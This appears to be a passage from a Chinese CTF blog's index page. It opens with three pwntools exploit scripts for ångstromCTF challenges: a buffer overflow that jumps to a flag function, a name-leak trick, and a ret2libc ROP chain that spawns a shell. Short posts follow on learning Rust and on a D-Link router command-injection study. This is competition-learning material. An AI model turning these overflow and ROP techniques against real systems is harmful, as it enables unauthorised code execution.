pwn()</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h2 id="wah"><a href="#wah" class="headerlink" title="wah"></a>wah</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">context.os = 'linux'</span><br><span class="line">context.arch = 'amd64'</span><br><span class="line">context.log_level = 'debug'</span><br><span class="line">context.terminal = ['/usr/bin/tmux', 'splitw', '-h']</span><br><span class="line">context.binary = 'wah'</span><br><span class="line"># io = process('wah')</span><br><span class="line">io = remote('challs.actf.co', 31224)</span><br><span class="line"># libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')</span><br><span class="line">elf = ELF('wah')</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def pwn():</span><br><span class="line"> payload = cyclic(0x28) + p64(elf.sym['flag'])</span><br><span class="line"> io.sendlineafter('Cry: ', payload)</span><br><span class="line"> # pause()</span><br><span class="line"> io.interactive()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line"> pwn()</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h2 id="whatsmyname"><a href="#whatsmyname" class="headerlink" title="whatsmyname"></a>whatsmyname</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">context.os = 'linux'</span><br><span class="line">context.arch = 'amd64'</span><br><span class="line">context.log_level = 'debug'</span><br><span class="line">context.terminal = ['/usr/bin/tmux', 'splitw', '-h']</span><br><span class="line">context.binary = 'whatsmyname'</span><br><span class="line"># io = process('whatsmyname')</span><br><span class="line">io = remote('challs.actf.co', 31223)</span><br><span class="line"># libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')</span><br><span class="line">elf = ELF('whatsmyname')</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def pwn():</span><br><span class="line"> io.sendafter('Hi! What\'s your name? ', 'a' * 0x30)</span><br><span class="line"> io.recvuntil('a' * 0x30)</span><br><span class="line"> name = io.recvline()[:-2]</span><br><span class="line"> # gdb.attach(io)</span><br><span class="line"> # if len(name) != 0x30:</span><br><span class="line"> # raise EOFError</span><br><span class="line"> io.sendlineafter('Guess my name and you\'ll get a flag!\n', name)</span><br><span class="line"> io.recv()</span><br><span class="line"> # pause()</span><br><span class="line"> io.interactive()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line"> pwn()</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h2 id="whereami"><a href="#whereami" class="headerlink" title="whereami"></a>whereami</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">context.os = 'linux'</span><br><span class="line">context.arch = 'amd64'</span><br><span class="line">context.log_level = 'debug'</span><br><span class="line">context.terminal = ['/usr/bin/tmux', 'splitw', '-h']</span><br><span class="line">context.binary = 'whereami'</span><br><span class="line"># io = process('whereami')</span><br><span class="line">io = remote('challs.actf.co', 31222)</span><br><span class="line">libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')</span><br><span class="line">elf = ELF('whereami')</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def pwn():</span><br><span class="line"> vuln = 0x0000000000401275</span><br><span class="line"> pop_rdi_ret = 0x0000000000401303</span><br><span class="line"> pop_rsi_r15_ret = 0x0000000000401301</span><br><span class="line"> puts_got = elf.got['puts']</span><br><span class="line"> puts_plt = elf.plt['puts']</span><br><span class="line"> # gdb.attach(io)</span><br><span class="line"> payload = cyclic(0x40) + p64(0x404e00) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(vuln)</span><br><span class="line"> io.sendlineafter('Who are you? ', payload)</span><br><span class="line"> io.recvuntil('I hope you find yourself too.\n')</span><br><span class="line"> libc_base = u64(io.recvline()[:-1] + b'\x00\x00') - libc.sym['puts']</span><br><span class="line"> log.success('libc_base: ' + hex(libc_base))</span><br><span class="line"> system = libc_base + libc.sym['system']</span><br><span class="line"> bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))</span><br><span class="line"> payload = cyclic(0x48) + p64(pop_rdi_ret) + p64(bin_sh)</span><br><span class="line"> payload += p64(pop_rsi_r15_ret) + p64(0) * 2 + p64(system)</span><br><span class="line"> io.sendline(payload)</span><br><span class="line"> # pause()</span><br><span class="line"> io.interactive()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if __name__ == '__main__':</span><br><span class="line"> pwn()</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="http://example.com/2022/04/26/rust-learning/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="payoung">
<meta itemprop="description" content="ctfer, pwner, programmer">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="payoung's blog">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2022/04/26/rust-learning/" class="post-title-link" itemprop="url">rust_learning</a>
</h2>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2022-04-26 23:33:01 / 修改时间:23:50:57" itemprop="dateCreated datePublished" datetime="2022-04-26T23:33:01+08:00">2022-04-26</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/programming/" itemprop="url" rel="index"><span itemprop="name">programming</span></a>
</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h1 id="突发奇想"><a href="#突发奇想" class="headerlink" title="突发奇想"></a>突发奇想</h1><p>身边的大佬都身怀绝技会各种东西,之前想了很久学Rust,对这门所谓的内存安全的语言也挺感兴趣的。</p>
<p>然而一直在摆烂,觉得不能再这样下去了,打算每天少玩一点游戏多花点时间学习,而且我觉得安全太卷了我快要搞不下去了,学点编程技术随时跑路。</p>
<h1 id="学习路线"><a href="#学习路线" class="headerlink" title="学习路线"></a>学习路线</h1><p>对rust的应用场景还不是很清楚,目前可能先学习常见的语法,然后做做leetcode算法题,认识的大佬会出rust的ctf赛题,或许某天我也整点活。</p>
<h1 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h1><p>照这个配了一个调试环境<a target="_blank" rel="noopener" href="https://www.runoob.com/rust/rust-println.html">菜鸟教程</a></p>
<p><a target="_blank" rel="noopener" href="https://www.rust-lang.org/zh-CN">官方网站</a></p>
<p><a target="_blank" rel="noopener" href="https://doc.rust-lang.org/book/">官方文档</a></p>
<p><a target="_blank" rel="noopener" href="https://doc.rust-lang.org/stable/rust-by-example/">官方示例</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="http://example.com/2022/04/15/DLink%E8%B7%AF%E7%94%B1%E5%99%A8%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="payoung">
<meta itemprop="description" content="ctfer, pwner, programmer">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="payoung's blog">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2022/04/15/DLink%E8%B7%AF%E7%94%B1%E5%99%A8%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/" class="post-title-link" itemprop="url">DLink路由器命令注入漏洞复现</a>
</h2>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2022-04-15 21:13:56 / 修改时间:21:39:06" itemprop="dateCreated datePublished" datetime="2022-04-15T21:13:56+08:00">2022-04-15</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/binary/" itemprop="url" rel="index"><span itemprop="name">binary</span></a>
</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<p>本科课程的大作业,当时写的博客。</p>
<p><a target="_blank" rel="noopener" href="https://www.freebuf.com/vuls/237533.html">D-Link DIR878路由器命令执行漏洞分析</a></p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<script>
window.addEventListener('tabs:register', () => {
let { activeClass } = CONFIG.comments;
if (CONFIG.comments.storage) {
activeClass = localStorage.getItem('comments_active') || activeClass;
}
if (activeClass) {
let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
if (activeTab) {
activeTab.click();
}
}
});
if (CONFIG.comments.storage) {
window.addEventListener('tabs:click', event => {
if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
let commentClass = event.target.classList[1];
localStorage.setItem('comments_active', commentClass);
});
}
</script>
</div>
<div class="toggle sidebar-toggle">
<span class="toggle-line toggle-line-first"></span>
<span class="toggle-line toggle-line-middle"></span>
<span class="toggle-line toggle-line-last"></span>
</div>
<aside class="sidebar">
<div class="sidebar-inner">
<ul class="sidebar-nav motion-element">
<li class="sidebar-nav-toc">
文章目录
</li>
<li class="sidebar-nav-overview">
站点概览
</li>
</ul>
<!--noindex-->
<div class="post-toc-wrap sidebar-panel">
</div>
<!--/noindex-->
<div class="site-overview-wrap sidebar-panel">
<div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
<p class="site-author-name" itemprop="name">payoung</p>
<div class="site-description" itemprop="description">ctfer, pwner, programmer</div>
</div>
<div class="site-state-wrap motion-element">
<nav class="site-state">
<div class="site-state-item site-state-posts">
<a href="/archives/">
<span class="site-state-item-count">7</span>
<span class="site-state-item-name">日志</span>
</a>
</div>
<div class="site-state-item site-state-categories">
<a href="/categories/">
<span class="site-state-item-count">5</span>
<span class="site-state-item-name">分类</span></a>
</div>
<div class="site-state-item site-state-tags">
<a href="/tags/">
<span class="site-state-item-count">9</span>
<span class="site-state-item-name">标签</span></a>
</div>
</nav>
</div>
</div>